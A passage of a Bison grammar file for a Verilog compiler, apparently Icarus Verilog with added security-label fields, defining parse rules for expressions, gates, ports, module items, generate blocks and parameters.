FILE_NAME(tmp,@1); $$ = tmp; } | K_min '(' expression ',' expression ')' { PEBinary*tmp = new PEBinary('m', $3, $5); FILE_NAME(tmp,@1); $$ = tmp; } /* Parenthesized expressions are primaries. */ | '(' expr_mintypmax ')' { $$ = $2; } /* Various kinds of concatenation expressions. */ | '{' expression_list_proper '}' { PEConcat*tmp = new PEConcat(*$2); FILE_NAME(tmp, @1); delete $2; $$ = tmp; } | '{' expression '{' expression_list_proper '}' '}' { PExpr*rep = $2; PEConcat*tmp = new PEConcat(*$4, rep); FILE_NAME(tmp, @1); delete $4; $$ = tmp; } | '{' expression '{' expression_list_proper '}' error '}' { PExpr*rep = $2; PEConcat*tmp = new PEConcat(*$4, rep); FILE_NAME(tmp, @1); delete $4; $$ = tmp; yyerror(@5, "error: Syntax error between internal '}' " "and closing '}' of repeat concatenation."); yyerrok; } ; /* A function_item_list borrows the task_port_item run to match declarations of ports. We check later to make sure there are no output or inout ports actually used. */ function_item_list : function_item { $$ = $1; } | function_item_list function_item { if ($1 && $2) { svector<PWire*>*tmp = new svector<PWire*>(*$1, *$2); delete $1; delete $2; $$ = tmp; } else if ($1) { $$ = $1; } else { $$ = $2; } } ; function_item : task_port_item { $$ = $1; } | block_item_decl { $$ = 0; } ; /* A gate_instance is a module instantiation or a built in part type. In any case, the gate has a set of connections to ports. */ gate_instance : IDENTIFIER '(' expression_list_with_nuls ')' { lgate*tmp = new lgate; tmp->name = $1; tmp->parms = $3; tmp->file = @1.text; tmp->lineno = @1.first_line; delete[]$1; $$ = tmp; } | IDENTIFIER range '(' expression_list_with_nuls ')' { lgate*tmp = new lgate; svector<PExpr*>*rng = $2; tmp->name = $1; tmp->parms = $4; tmp->range[0] = (*rng)[0]; tmp->range[1] = (*rng)[1]; tmp->file = @1.text; tmp->lineno = @1.first_line; delete[]$1; delete rng; $$ = tmp; } | '(' expression_list_with_nuls ')' { lgate*tmp = new lgate; tmp->name = ""; tmp->parms = $2; tmp->file = @1.text; tmp->lineno = @1.first_line; $$ = tmp; } /* Degenerate modules can have no ports. */ | IDENTIFIER range { lgate*tmp = new lgate; svector<PExpr*>*rng = $2; tmp->name = $1; tmp->parms = 0; tmp->parms_by_name = 0; tmp->range[0] = (*rng)[0]; tmp->range[1] = (*rng)[1]; tmp->file = @1.text; tmp->lineno = @1.first_line; delete[]$1; delete rng; $$ = tmp; } /* Modules can also take ports by port-name expressions. */ | IDENTIFIER '(' port_name_list ')' { lgate*tmp = new lgate; tmp->name = $1; tmp->parms = 0; tmp->parms_by_name = $3; tmp->file = @1.text; tmp->lineno = @1.first_line; delete[]$1; $$ = tmp; } | IDENTIFIER range '(' port_name_list ')' { lgate*tmp = new lgate; svector<PExpr*>*rng = $2; tmp->name = $1; tmp->parms = 0; tmp->parms_by_name = $4; tmp->range[0] = (*rng)[0]; tmp->range[1] = (*rng)[1]; tmp->file = @1.text; tmp->lineno = @1.first_line; delete[]$1; delete rng; $$ = tmp; } | IDENTIFIER '(' error ')' { lgate*tmp = new lgate; tmp->name = $1; tmp->parms = 0; tmp->parms_by_name = 0; tmp->file = @1.text; tmp->lineno = @1.first_line; yyerror(@2, "error: Syntax error in instance port " "expression(s)."); delete[]$1; $$ = tmp; } | IDENTIFIER range '(' error ')' { lgate*tmp = new lgate; tmp->name = $1; tmp->parms = 0; tmp->parms_by_name = 0; tmp->file = @1.text; tmp->lineno = @1.first_line; yyerror(@3, "error: Syntax error in instance port " "expression(s)."); delete[]$1; $$ = tmp; } ; gate_instance_list : gate_instance_list ',' gate_instance { svector<lgate>*tmp1 = $1; lgate*tmp2 = $3; svector<lgate>*out = new svector<lgate> (*tmp1, *tmp2); delete tmp1; delete tmp2; $$ = out; } | gate_instance { svector<lgate>*tmp = new svector<lgate>(1); (*tmp)[0] = *$1; delete $1; $$ = tmp; } ; gatetype : K_and { $$ = PGBuiltin::AND; } | K_nand { $$ = PGBuiltin::NAND; } | K_or { $$ = PGBuiltin::OR; } | K_nor { $$ = PGBuiltin::NOR; } | K_xor { $$ = PGBuiltin::XOR; } | K_xnor { $$ = PGBuiltin::XNOR; } | K_buf { $$ = PGBuiltin::BUF; } | K_bufif0 { $$ = PGBuiltin::BUFIF0; } | K_bufif1 { $$ = PGBuiltin::BUFIF1; } | K_not { $$ = PGBuiltin::NOT; } | K_notif0 { $$ = PGBuiltin::NOTIF0; } | K_notif1 { $$ = PGBuiltin::NOTIF1; } ; switchtype : K_nmos { $$ = PGBuiltin::NMOS; } | K_rnmos { $$ = PGBuiltin::RNMOS; } | K_pmos { $$ = PGBuiltin::PMOS; } | K_rpmos { $$ = PGBuiltin::RPMOS; } | K_cmos { $$ = PGBuiltin::CMOS; } | K_rcmos { $$ = PGBuiltin::RCMOS; } | K_tran { $$ = PGBuiltin::TRAN; } | K_rtran { $$ = PGBuiltin::RTRAN; } | K_tranif0 { $$ = PGBuiltin::TRANIF0; } | K_tranif1 { $$ = PGBuiltin::TRANIF1; } | K_rtranif0 { $$ = PGBuiltin::RTRANIF0; } | K_rtranif1 { $$ = PGBuiltin::RTRANIF1; } ; /* A general identifier is a hierarchical name, with the right most name the base of the identifier. This rule builds up a hierarchical name from the left to the right, forming a list of names. */ hierarchy_identifier : IDENTIFIER { $$ = new pform_name_t; $$->push_back(name_component_t(lex_strings.make($1))); delete[]$1; } | hierarchy_identifier '.' IDENTIFIER { pform_name_t * tmp = $1; tmp->push_back(name_component_t(lex_strings.make($3))); delete[]$3; $$ = tmp; } | hierarchy_identifier '[' expression ']' { pform_name_t * tmp = $1; name_component_t&tail = tmp->back(); index_component_t itmp; itmp.sel = index_component_t::SEL_BIT; itmp.msb = $3; tail.index.push_back(itmp); $$ = tmp; } | hierarchy_identifier '[' expression ':' expression ']' { pform_name_t * tmp = $1; name_component_t&tail = tmp->back(); index_component_t itmp; itmp.sel = index_component_t::SEL_PART; itmp.msb = $3; itmp.lsb = $5; tail.index.push_back(itmp); $$ = tmp; } | hierarchy_identifier '[' expression K_PO_POS expression ']' { pform_name_t * tmp = $1; name_component_t&tail = tmp->back(); index_component_t itmp; itmp.sel = index_component_t::SEL_IDX_UP; itmp.msb = $3; itmp.lsb = $5; tail.index.push_back(itmp); $$ = tmp; } | hierarchy_identifier '[' expression K_PO_NEG expression ']' { pform_name_t * tmp = $1; name_component_t&tail = tmp->back(); index_component_t itmp; itmp.sel = index_component_t::SEL_IDX_DO; itmp.msb = $3; itmp.lsb = $5; tail.index.push_back(itmp); $$ = tmp; } ; /* This is a list of identifiers. The result is a list of strings, each one of the identifiers in the list. These are simple, non-hierarchical names separated by ',' characters. */ list_of_identifiers : IDENTIFIER { $$ = list_from_identifier($1); } | list_of_identifiers ',' IDENTIFIER { $$ = list_from_identifier($1, $3); } ; list_of_port_identifiers : IDENTIFIER { $$ = make_port_list($1, 0); } | IDENTIFIER '=' expression { $$ = make_port_list($1, $3); } | list_of_port_identifiers ',' IDENTIFIER { $$ = make_port_list($1, $3, 0); } | list_of_port_identifiers ',' IDENTIFIER '=' expression { $$ = make_port_list($1, $3, $5); } ; /* The list_of_ports and list_of_port_declarations rules are the port list formats for module ports. The list_of_ports_opt rule is only used by the module start rule. The first, the list_of_ports, is the 1364-1995 format, a list of port names, including .name() syntax. The list_of_port_declarations the 1364-2001 format, an in-line declaration of the ports. In both cases, the list_of_ports and list_of_port_declarations returns an array of Module::port_t* items that include the name of the port internally and externally. The actual creation of the nets/variables is done in the declaration, whether internal to the port list or in amongst the module items. */ list_of_ports : port_opt { vector<Module::port_t*>*tmp = new vector<Module::port_t*>(1); (*tmp)[0] = $1; $$ = tmp; } | list_of_ports ',' port_opt { vector<Module::port_t*>*tmp = $1; tmp->push_back($3); $$ = tmp; } ; list_of_port_declarations : port_declaration { vector<Module::port_t*>*tmp = new vector<Module::port_t*>(1); (*tmp)[0] = $1; $$ = tmp; } | list_of_port_declarations ',' port_declaration { vector<Module::port_t*>*tmp = $1; tmp->push_back($3); $$ = tmp; } | list_of_port_declarations ',' IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($3); ptmp = pform_module_port_reference(name, @3.text, @3.first_line); vector<Module::port_t*>*tmp = $1; tmp->push_back(ptmp); /* Get the port declaration details, the port type and what not, from context data stored by the last port_declaration rule. */ pform_module_define_port(@3, name, port_declaration_context.port_type, port_declaration_context.port_net_type, port_declaration_context.sectype, port_declaration_context.sign_flag, port_declaration_context.range, 0); delete[]$3; $$ = tmp; } | list_of_port_declarations ',' { yyerror(@2, "error: NULL port declarations are not " "allowed."); } | list_of_port_declarations ';' { yyerror(@2, "error: ';' is an invalid port declaration " "separator."); } ; port_declaration : attribute_list_opt K_input net_type_opt signed_opt range_opt sec_label IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($7); ptmp = pform_module_port_reference(name, @2.text, @2.first_line); pform_module_define_port(@2, name, NetNet::PINPUT, $3, $6, $4, $5, $1); port_declaration_context.port_type = NetNet::PINPUT; port_declaration_context.port_net_type = $3; port_declaration_context.sectype = $6; port_declaration_context.sign_flag = $4; delete port_declaration_context.range; port_declaration_context.range = $5; delete $1; delete[]$7; $$ = ptmp; } | attribute_list_opt K_inout net_type_opt signed_opt range_opt sec_label IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($7); ptmp = pform_module_port_reference(name, @2.text, @2.first_line); pform_module_define_port(@2, name, NetNet::PINOUT, $3, $6, $4, $5, $1); port_declaration_context.port_type = NetNet::PINOUT; port_declaration_context.port_net_type = $3; port_declaration_context.sectype = $6; port_declaration_context.sign_flag = $4; delete port_declaration_context.range; port_declaration_context.range = $5; delete $1; delete[]$7; $$ = ptmp; } | attribute_list_opt K_output net_type_opt signed_opt range_opt sec_label IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($7); ptmp = pform_module_port_reference(name, @2.text, @2.first_line); pform_module_define_port(@2, name, NetNet::POUTPUT, $3, $6, $4, $5, $1); port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.port_net_type = $3; port_declaration_context.sectype = $6; port_declaration_context.sign_flag = $4; delete port_declaration_context.range; port_declaration_context.range = $5; delete $1; delete[]$7; $$ = ptmp; } | attribute_list_opt K_output var_type signed_opt range_opt sec_label IDENTIFIER { Module::port_t*ptmp; perm_string name = lex_strings.make($7); ptmp = pform_module_port_reference(name, @2.text, @2.first_line); pform_module_define_port(@2, name, NetNet::POUTPUT, $3, $6, $4, $5, $1); port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.port_net_type = $3; port_declaration_context.sectype = $6; port_declaration_context.sign_flag = $4; delete port_declaration_context.range; port_declaration_context.range = $5; delete $1; delete[]$7; $$ = ptmp; } | attribute_list_opt K_output var_type signed_opt range_opt sec_label IDENTIFIER '=' expression { Module::port_t*ptmp; perm_string name = lex_strings.make($7); ptmp = pform_module_port_reference(name, @2.text, @2.first_line); pform_module_define_port(@2, name, NetNet::POUTPUT, $3, $6, $4, $5, $1); port_declaration_context.port_type = NetNet::POUTPUT; port_declaration_context.port_net_type = $3; port_declaration_context.sectype = $6; port_declaration_context.sign_flag = $4; delete port_declaration_context.range; port_declaration_context.range = $5; pform_make_reginit(@7, name, $9); delete $1; delete[]$7; $$ = ptmp; } ; net_type_opt : net_type { $$ = $1; } | { $$ = NetNet::IMPLICIT; } ; signed_opt : K_signed { $$ = true; } | {$$ = false; } ; /* An lpvalue is the expression that can go on the left side of a procedural assignment. This rule handles only procedural assignments. It is more limited then the general expr_primary rule to reflect the rules for assignment l-values. */ lpvalue : hierarchy_identifier { PEIdent*tmp = new PEIdent(*$1); FILE_NAME(tmp, @1); $$ = tmp; delete $1; } | '{' expression_list_proper '}' { PEConcat*tmp = new PEConcat(*$2); FILE_NAME(tmp, @1); delete $2; $$ = tmp; } ; /* Continuous assignments have a list of individual assignments. */ cont_assign : lpvalue '=' expression { svector<PExpr*>*tmp = new svector<PExpr*>(2); (*tmp)[0] = $1; (*tmp)[1] = $3; $$ = tmp; } ; cont_assign_list : cont_assign_list ',' cont_assign { svector<PExpr*>*tmp = new svector<PExpr*>(*$1, *$3); delete $1; delete $3; $$ = tmp; } | cont_assign { $$ = $1; } ; /* This is the global structure of a module. A module in a start section, with optional ports, then an optional list of module items, and finally an end marker. */ module : attribute_list_opt module_start IDENTIFIER { pform_startmodule($3, @2.text, @2.first_line, $1); } module_parameter_port_list_opt module_port_list_opt module_attribute_foreign ';' { pform_module_set_ports($6); } module_item_list_opt K_endmodule { Module::UCDriveType ucd; switch (uc_drive) { case UCD_NONE: default: ucd = Module::UCD_NONE; break; case UCD_PULL0: ucd = Module::UCD_PULL0; break; case UCD_PULL1: ucd = Module::UCD_PULL1; break; } pform_endmodule($3, in_celldefine, ucd); delete[]$3; } ; module_start : K_module | K_macromodule ; module_attribute_foreign : K_PSTAR IDENTIFIER K_integer IDENTIFIER '=' STRING ';' K_STARP { $$ = 0; } | { $$ = 0; } ; module_port_list_opt : '(' list_of_ports ')' { $$ = $2; } | '(' list_of_port_declarations ')' { $$ = $2; } | { $$ = 0; } ; /* Module declarations include optional ANSI style module parameter ports. These are simply advance ways to declare parameters, so that the port declarations may use them. */ module_parameter_port_list_opt : | '#' '(' module_parameter_port_list ')' ; module_parameter_port_list : K_parameter param_type parameter_assign | module_parameter_port_list ',' parameter_assign | module_parameter_port_list ',' K_parameter param_type parameter_assign ; module_item /* This rule detects net declarations that possibly include a primitive type, an optional vector range and signed flag. This also includes an optional delay set. The values are then applied to a list of names. If the primitive type is not specified, then resort to the default type LOGIC. */ : attribute_list_opt net_type primitive_type_opt signed_opt range_opt delay3_opt sec_label net_variable_list ';' { ivl_variable_type_t dtype = $3; if (dtype == IVL_VT_NO_TYPE) dtype = IVL_VT_LOGIC; pform_makewire(@2, $5, $4, $8, $2, NetNet::NOT_A_PORT, dtype, $7, $1); if ($6 != 0) { yyerror(@6, "sorry: net delays not supported."); delete $6; } if ($1) delete $1; } /* Very similar to the rule above, but this takes a list of net_decl_assigns, which are <name> = <expr> assignment declarations. */ | attribute_list_opt net_type primitive_type_opt signed_opt range_opt delay3_opt sec_label net_decl_assigns ';' { ivl_variable_type_t dtype = $3; if (dtype == IVL_VT_NO_TYPE) dtype = IVL_VT_LOGIC; pform_makewire(@2, $5, $4, $6, str_strength, $8, $2, dtype, $7); if ($1) { yyerror(@2, "sorry: Attributes not supported " "on net declaration assignments."); delete $1; } } /* This form doesn't have the range, but does have strengths. This gives strength to the assignment drivers. */ | attribute_list_opt net_type primitive_type_opt signed_opt drive_strength sec_label net_decl_assigns ';' { ivl_variable_type_t dtype = $3; if (dtype == IVL_VT_NO_TYPE) dtype = IVL_VT_LOGIC; pform_makewire(@2, 0, $4, 0, $5, $7, $2, dtype, $6); if ($1) { yyerror(@2, "sorry: Attributes not supported " "on net declaration assignments."); delete $1; } } | K_trireg charge_strength_opt range_opt delay3_opt sec_label list_of_identifiers ';' { yyerror(@1, "sorry: trireg nets not supported."); delete $3; delete $4; } | port_type signed_opt range_opt delay3_opt sec_label list_of_identifiers ';' { pform_set_port_type(@1, $6, $3, $2, $1, $5); } /* The next two rules handle Verilog 2001 statements of the form: input wire signed [h:l] <list>; This creates the wire and sets the port type all at once. */ | port_type net_type signed_opt range_opt sec_label list_of_identifiers ';' { pform_makewire(@1, $4, $3, $6, $2, $1, IVL_VT_NO_TYPE, $5, 0, SR_BOTH); } | K_output var_type signed_opt range_opt sec_label list_of_port_identifiers ';' { list<pair<perm_string,PExpr*> >::const_iterator pp; list<perm_string>*tmp = new list<perm_string>; for (pp = $6->begin(); pp != $6->end(); pp++) { tmp->push_back((*pp).first); } pform_makewire(@1, $4, $3, tmp, $2, NetNet::POUTPUT, IVL_VT_NO_TYPE, $5, 0, SR_BOTH); for (pp = $6->begin(); pp != $6->end(); pp++) { if ((*pp).second) { pform_make_reginit(@1, (*pp).first, (*pp).second); } } delete $6; } /* var_type declaration (reg variables) cannot be input or output, because the port declaration implies an external driver, which cannot be attached to a reg. These rules catch that error early. */ | K_input var_type signed_opt range_opt sec_label list_of_identifiers ';' { pform_makewire(@1, $4, $3, $6, $2, NetNet::PINPUT, IVL_VT_NO_TYPE, $5, 0); yyerror(@2, "error: reg variables cannot be inputs."); } | K_inout var_type signed_opt range_opt sec_label list_of_identifiers ';' { pform_makewire(@1, $4, $3, $6, $2, NetNet::PINOUT, IVL_VT_NO_TYPE, $5, 0); yyerror(@2, "error: reg variables cannot be inouts."); } | port_type signed_opt range_opt delay3_opt error ';' { yyerror(@1, "error: Invalid variable list" " in port declaration."); if ($3) delete $3; if ($4) delete $4; yyerrok; } /* Maybe this is a discipline declaration? If so, then the lexor will see the discipline name as an identifier. We match it to the discipline or type name semantically. */ | DISCIPLINE_IDENTIFIER list_of_identifiers ';' { pform_attach_discipline(@1, $1, $2); } /* block_item_decl rule is shared with task blocks and named begin/end. */ | block_item_decl /* */ | K_defparam defparam_assign_list ';' /* Most gate types have an optional drive strength and optional two/three-value delay. These rules handle the different cases. We check that the actual number of delays is correct later. */ | attribute_list_opt gatetype gate_instance_list ';' { pform_makegates($2, str_strength, 0, $3, $1); } | attribute_list_opt gatetype delay3 gate_instance_list ';' { pform_makegates($2, str_strength, $3, $4, $1); } | attribute_list_opt gatetype drive_strength gate_instance_list ';' { pform_makegates($2, $3, 0, $4, $1); } | attribute_list_opt gatetype drive_strength delay3 gate_instance_list ';' { pform_makegates($2, $3, $4, $5, $1); } /* The switch type gates do not support a strength. */ | attribute_list_opt switchtype gate_instance_list ';' { pform_makegates($2, str_strength, 0, $3, $1); } | attribute_list_opt switchtype delay3 gate_instance_list ';' { pform_makegates($2, str_strength, $3, $4, $1); } /* Pullup and pulldown devices cannot have delays, and their strengths are limited. */ | K_pullup gate_instance_list ';' { pform_makegates(PGBuiltin::PULLUP, pull_strength, 0, $2, 0); } | K_pulldown gate_instance_list ';' { pform_makegates(PGBuiltin::PULLDOWN, pull_strength, 0, $2, 0); } | K_pullup '(' dr_strength1 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLUP, $3, 0, $5, 0); } | K_pullup '(' dr_strength1 ',' dr_strength0 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLUP, $3, 0, $7, 0); } | K_pullup '(' dr_strength0 ',' dr_strength1 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLUP, $5, 0, $7, 0); } | K_pulldown '(' dr_strength0 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLDOWN, $3, 0, $5, 0); } | K_pulldown '(' dr_strength1 ',' dr_strength0 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLDOWN, $5, 0, $7, 0); } | K_pulldown '(' dr_strength0 ',' dr_strength1 ')' gate_instance_list ';' { pform_makegates(PGBuiltin::PULLDOWN, $3, 0, $7, 0); } /* This rule handles instantiations of modules and user defined primitives. These devices to not have delay lists or strengths, but then can have parameter lists. */ | attribute_list_opt IDENTIFIER parameter_value_opt gate_instance_list ';' { perm_string tmp1 = lex_strings.make($2); pform_make_modgates(tmp1, $3, $4); delete[]$2; if ($1) delete $1; } | attribute_list_opt IDENTIFIER parameter_value_opt error ';' { yyerror(@2, "error: Invalid module instantiation"); delete[]$2; if ($1) delete $1; } /* Continuous assignment can have an optional drive strength, then an optional delay3 that applies to all the assignments in the cont_assign_list. */ | K_assign drive_strength_opt delay3_opt cont_assign_list ';' { pform_make_pgassign_list($4, $3, $2, @1.text, @1.first_line); } /* Always and initial items are behavioral processes. */ | attribute_list_opt K_always statement { PProcess*tmp = pform_make_behavior(IVL_PR_ALWAYS, $3, $1); FILE_NAME(tmp, @2); } | attribute_list_opt K_initial statement { PProcess*tmp = pform_make_behavior(IVL_PR_INITIAL, $3, $1); FILE_NAME(tmp, @2); } | attribute_list_opt K_analog analog_statement { pform_make_analog_behavior(@2, IVL_PR_ALWAYS, $3); } /* The task declaration rule matches the task declaration header, then pushes the function scope. This causes the definitions in the task_body to take on the scope of the task instead of the module. Note that these runs accept for the task body statement_or_null, although the standard does not allow null statements in the task body. But we continue to accept it as an extension. */ | K_task automatic_opt IDENTIFIER ';' { assert(current_task == 0); current_task = pform_push_task_scope(@1, $3, $2); } task_item_list_opt statement_or_null K_endtask { current_task->set_ports($6); current_task->set_statement($7); pform_pop_scope(); current_task = 0; delete[]$3; } | K_task automatic_opt IDENTIFIER '(' { assert(current_task == 0); current_task = pform_push_task_scope(@1, $3, $2); } task_port_decl_list ')' ';' block_item_decls_opt statement_or_null K_endtask { current_task->set_ports($6); current_task->set_statement($10); pform_pop_scope(); current_task = 0; delete[]$3; } | K_task automatic_opt IDENTIFIER '(' ')' ';' { assert(current_task == 0); current_task = pform_push_task_scope(@1, $3, $2); } block_item_decls_opt statement_or_null K_endtask { current_task->set_ports(0); current_task->set_statement($9); pform_pop_scope(); current_task = 0; cerr << @3 << ": warning: task definition for \"" << $3 << "\" has an empty port declaration list!" << endl; delete[]$3; } | K_task automatic_opt IDENTIFIER error K_endtask { assert(current_task == 0); delete[]$3; } /* The function declaration rule matches the function declaration header, then pushes the function scope. This causes the definitions in the func_body to take on the scope of the function instead of the module. */ | K_function automatic_opt function_range_or_type_opt IDENTIFIER ';' { assert(current_function == 0); current_function = pform_push_function_scope(@1, $4, $2); } function_item_list statement K_endfunction { current_function->set_ports($7); current_function->set_statement($8); current_function->set_return($3); pform_pop_scope(); current_function = 0; delete[]$4; } | K_function automatic_opt function_range_or_type_opt IDENTIFIER { assert(current_function == 0); current_function = pform_push_function_scope(@1, $4, $2); } '(' task_port_decl_list ')' ';' block_item_decls_opt statement K_endfunction { current_function->set_ports($7); current_function->set_statement($11); current_function->set_return($3); pform_pop_scope(); current_function = 0; delete[]$4; } | K_function automatic_opt function_range_or_type_opt IDENTIFIER error K_endfunction { if (current_function != 0) { pform_pop_scope(); current_function = 0; } delete[]$4; } /* A generate region can contain further module items. Actually, it is supposed to be limited to certain kinds of module items, but the semantic tests will check that for us. */ | K_generate module_item_list_opt K_endgenerate | K_genvar list_of_identifiers ';' { pform_genvars(@1, $2); } | K_for '(' IDENTIFIER '=' expression ';' expression ';' IDENTIFIER '=' expression ')' { pform_start_generate_for(@1, $3, $5, $7, $9, $11); } generate_block { pform_endgenerate(); } | generate_if generate_block_opt K_else { pform_start_generate_else(@1); } generate_block { pform_endgenerate(); } | generate_if generate_block_opt %prec less_than_K_else { pform_endgenerate(); } | K_case '(' expression ')' { pform_start_generate_case(@1, $3); } generate_case_items K_endcase { pform_endgenerate(); } /* Handle some anachronistic syntax cases. */ | K_generate K_begin module_item_list_opt K_end K_endgenerate { /* Detect and warn about anachronistic begin/end use */ if (generation_flag > GN_VER2001) { warn_count += 1; cerr << @2 << ": warning: Anachronistic use of begin/end to surround generate schemes." << endl; } } | K_generate K_begin ':' IDENTIFIER { pform_start_generate_nblock(@2, $4); } module_item_list_opt K_end K_endgenerate { /* Detect and warn about anachronistic named begin/end use */ if (generation_flag > GN_VER2001) { warn_count += 1; cerr << @2 << ": warning: Anachronistic use of named begin/end to surround generate schemes." << endl; } pform_endgenerate(); } /* specify blocks are parsed but ignored. */ | K_specify K_endspecify { /* empty lists are legal syntax. */ } | K_specify specify_item_list K_endspecify { } | K_specify error K_endspecify { yyerror(@1, "error: syntax error in specify block"); yyerrok; } /* These rules match various errors that the user can type into module items. These rules try to catch them at a point where a reasonable error message can be produced. */ | K_module error ';' { yyerror(@1, "error: missing endmodule or attempt to " "nest modules."); pform_error_nested_modules(); yyerrok; } | error ';' { yyerror(@2, "error: invalid module item."); yyerrok; } | K_assign error '=' expression ';' { yyerror(@1, "error: syntax error in left side " "of continuous assignment."); yyerrok; } | K_assign error ';' { yyerror(@1, "error: syntax error in " "continuous assignment"); yyerrok; } | K_function error K_endfunction { yyerror(@1, "error: I give up on this " "function definition."); yyerrok; } /* These rules are for the Icarus Verilog specific $attribute extensions. Then catch the parameters of the $attribute keyword. */ | KK_attribute '(' IDENTIFIER ',' STRING ',' STRING ')' ';' { perm_string tmp3 = lex_strings.make($3); perm_string tmp5 = lex_strings.make($5); pform_set_attrib(tmp3, tmp5, $7); delete[] $3; delete[] $5; } | KK_attribute '(' error ')' ';' { yyerror(@1, "error: Malformed $attribute parameter list."); } ; automatic_opt : K_automatic { $$ = true; } | { $$ = false;} ; generate_if : K_if '(' expression ')' { pform_start_generate_if(@1, $3); } ; generate_case_items : generate_case_items generate_case_item | generate_case_item ; generate_case_item : expression_list_proper ':' { pform_generate_case_item(@1, $1); } generate_block_opt { pform_endgenerate(); } | K_default ':' { pform_generate_case_item(@1, 0); } generate_block_opt { pform_endgenerate(); } ; module_item_list : module_item_list module_item | module_item ; module_item_list_opt : module_item_list | ; /* A generate block is the thing within a generate scheme. It may be a single module item, an anonymous block of module items, or a named module item. In all cases, the meat is in the module items inside, and the processing is done by the module_item rules. We only need to take note here of the scope name, if any. */ generate_block : module_item | K_begin module_item_list_opt K_end | K_begin ':' IDENTIFIER module_item_list_opt K_end { pform_generate_block_name($3); } ; generate_block_opt : generate_block | ';' ; /* A net declaration assignment allows the programmer to combine the net declaration and the continuous assignment into a single statement. Note that the continuous assignment statement is generated as a side effect, and all I pass up is the name of the l-value. */ net_decl_assign : IDENTIFIER '=' expression { net_decl_assign_t*tmp = new net_decl_assign_t; tmp->next = tmp; tmp->name = lex_strings.make($1); tmp->expr = $3; delete[]$1; $$ = tmp; } ; net_decl_assigns : net_decl_assigns ',' net_decl_assign { net_decl_assign_t*tmp = $1; $3->next = tmp->next; tmp->next = $3; $$ = tmp; } | net_decl_assign { $$ = $1; } ; primitive_type : K_logic { $$ = IVL_VT_LOGIC; } | K_bool { $$ = IVL_VT_BOOL; } | K_real { $$ = IVL_VT_REAL; } ; primitive_type_opt : primitive_type { $$ = $1; } | { $$ = IVL_VT_NO_TYPE; } ; net_type : K_wire { $$ = NetNet::WIRE; } | K_tri { $$ = NetNet::TRI; } | K_tri1 { $$ = NetNet::TRI1; } | K_supply0 { $$ = NetNet::SUPPLY0; } | K_wand { $$ = NetNet::WAND; } | K_triand { $$ = NetNet::TRIAND; } | K_tri0 { $$ = NetNet::TRI0; } | K_supply1 { $$ = NetNet::SUPPLY1; } | K_wor { $$ = NetNet::WOR; } | K_trior { $$ = NetNet::TRIOR; } | K_wone { $$ = NetNet::UWIRE; cerr << @1.text << ":" << @1.first_line << ": warning: " "'wone' is deprecated, please use 'uwire' " "instead." << endl; } | K_uwire { $$ = NetNet::UWIRE; } ; var_type : K_reg { $$ = NetNet::REG; } ; param_type : { param_active_range = 0; param_active_signed = false; param_active_type = IVL_VT_LOGIC; } | range { param_active_range = $1; param_active_signed = false; param_active_type = IVL_VT_LOGIC; } | K_signed { param_active_range = 0; param_active_signed = true; param_active_type = IVL_VT_LOGIC; } | K_signed range { param_active_range = $2; param_active_signed = true; param_active_type = IVL_VT_LOGIC; } | K_integer { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum(integer_width-1, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; /* The default range is [31:0] */ param_active_range = range_stub; param_active_signed = true; param_active_type = IVL_VT_LOGIC; } | K_time { svector<PExpr*>*range_stub = new svector<PExpr*>(2); PExpr*re; re = new PENumber(new verinum((uint64_t)63, integer_width)); (*range_stub)[0] = re; re = new PENumber(new verinum((uint64_t)0, integer_width)); (*range_stub)[1] = re; /* The range is [63:0] */ param_active_range = range_stub; param_active_signed = false; param_active_type = IVL_VT_LOGIC; } | real_or_realtime { param_active_range = 0; param_active_signed = true; param_active_type = IVL_VT_REAL; } ; /* parameter and localparam assignment lists are broken into separate BNF so that I can call slightly different parameter handling code. localparams parse the same as parameters, they just behave differently when someone tries to override them. */ parameter_assign_list : parameter_assign | parameter_assign_list ',' parameter_assign ; localparam_assign_list : localparam_assign | localparam_assign_list ',' localparam_assign ; parameter_assign : IDENTIFIER '=' expression parameter_value_ranges_opt { PExpr*tmp = $3; pform_set_parameter(@1, lex_strings.make($1), param_active_type, param_active_signed, param_active_range, tmp, $4); delete[]$1; } ; localparam_assign : IDENTIFIER '=' expression { PExpr*tmp = $3; pform_set_localparam(@1, lex_strings.make($1), param_active_type, param_active_signed, param_active_range, tmp); delete[]$1; } ; parameter_value_ranges_opt : parameter_value_ranges { $$ = $1; } | { $$ = 0; } ; parameter_value_ranges : parameter_value_ranges parameter_value_range { $$ = $2; $$->next = $1; } | parameter_value_range { $$ = $1; $$->next = 0; } ; parameter_value_range : from_exclude '[' value_range_expression ':' value_range_expression ']' { $$ = pform_parameter_value_range($1, false, $3, false, $5); } | from_exclude '[' value_range_expression ':' value_range_expression ')' { $$ = pform_parameter_value_range($1, false, $3, true, $5); } | from_exclude '(' value_range_expression ':' value_range_expression ']' { $$ = pform_parameter_value_range($1, true, $3, false, $5); } | from_exclude '(' value_range_expression ':' value_range_expression ')' { $$ = pform_parameter_value_range($1, true, $3, true, $5); } | K_exclude expression { $$ = pform_parameter_value_range(true, false, $2, false, $2); } ; value_range_expression : expression { $$ = $1; } | K_inf { $$ = 0; } | '+' K_inf { $$ = 0; } | '-' K_inf { $$ = 0; } ; from_exclude : K_from { $$ = false; } | K_exclude { $$ = true; } ; /* The parameters of a module instance can be overridden by writing a list of expressions in a syntax much like a delay list. (The difference being the list can have any length.) The pform that attaches the expression list to the module checks that the expressions are constant. Although the BNF in IEEE1364-1995 implies that parameter value lists must be in parentheses, in practice most compilers will accept simple expressions outside of parentheses if there is only one value, so I'll accept simple numbers here. This also catches the case of a UDP with a single delay value, so we need to accept real values as well as decimal ones. The parameter value by name syntax is OVI enhancement BTF-B06 as approved by WG1364 on 6/28/1998. */ parameter_value_opt : '#' '(' expression_list_with_nuls ')' { struct 